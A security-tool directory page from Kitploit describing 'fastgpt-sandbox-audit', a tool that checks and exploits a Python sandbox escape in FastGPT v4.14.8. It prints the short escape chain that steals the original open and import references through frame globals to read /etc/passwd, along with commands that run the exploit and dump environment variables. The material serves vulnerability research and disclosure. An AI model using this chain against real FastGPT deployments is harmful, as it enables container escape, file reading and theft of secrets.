Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
fastgpt-sandbox-audit — FastGPT Python sandbox escape chain audit tool (CVE-2026-32128 related, v4.14.8 inspect chain) | Kitploit
Tools/GitHubGitHub/qianlijaingshan/fastgpt-sandbox-audit
Static AnalysisDynamic Analysis (Sandboxing)Vulnerability AnalysisExploitationPenetration TestingContainer EscapeAI Security
GitHub
qianlijaingshan/fastgpt-sandbox-audit

fastgpt-sandbox-audit

FastGPT Python sandbox escape chain audit tool (CVE-2026-32128 related, v4.14.8 inspect chain)

View Repository
1433 months agoNot yet reviewed
Share

fastgpt-sandbox-audit

FastGPT Python sandbox escape chain audit tool.

The "Code Runner" node in FastGPT workflows passes user Python code to an isolated sandbox for execution. In v4.14.8, the sandbox protections are purely Python-level (module blacklist + AST checks + open guard + import guard). This tool detects and verifies the bypass chains for these protections:

import inspect                        # inspect is not in the _DANGEROUS_STDLIB blacklist
g = inspect.currentframe().f_back.f_globals   # AST checks do not block single-underscore frame attributes
f = g['_original_open'](https://github.com/qianlijaingshan/fastgpt-sandbox-audit/blob/main/%27/etc/passwd%27)        # module globals expose the original open reference
imp = g['_original_import']                   # module globals expose the original __import__ reference

Affected Versions

VersionArchitectureStatus
v4.14.7NestJS + Fastify + seccompCVE-2026-32128 (fcntl remapping stdout)
v4.14.8Bun + Hono + worker.pyThis escape chain, full escape (arbitrary files in container + network lateral movement)
mainGo native chroot + seccompPython layer is bypassed as well, chroot fallback limits to container

Usage

Pure standard library, Python 3.8+.

# Statically check worker.py protection configuration (does not execute payload)
python3 fastgpt-sandbox-audit.py --check

# Run the full escape chain against a real worker.py (read /etc/passwd + write file)
python3 fastgpt-sandbox-audit.py --exploit

# Dump environment variables (first 20 keys)
python3 fastgpt-sandbox-audit.py --dump

# Specify worker.py path
python3 fastgpt-sandbox-audit.py --worker /path/to/worker.py --exploit

--exploit requires a real worker.py (the Python worker process for the FastGPT v4.14.8 sandbox). By default it reads ./worker.py from the current directory and submits the payload through its own stdin JSON protocol ({"type":"init"} → {"type":"task","code":...}).

Checks

--check mode output:

=== fastgpt-sandbox-audit: protection configuration check ===
[risk] inspect not in _DANGEROUS_STDLIB blacklist -> can be imported
[risk] AST check does not block f_globals attribute
[risk] module globals expose _original_open -> can be stolen via f_globals
[risk] module globals expose _original_import -> can be stolen via f_globals
[info] worker.py has no seccomp (4.14.8+ pure Python protections)

Disclaimer

This tool is intended for security research and security testing within authorized scope only. Testing other people's systems without authorization may violate laws and regulations; you are solely responsible for any related consequences.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    282

Explore all tools

Browse our collection of tools

View all tools →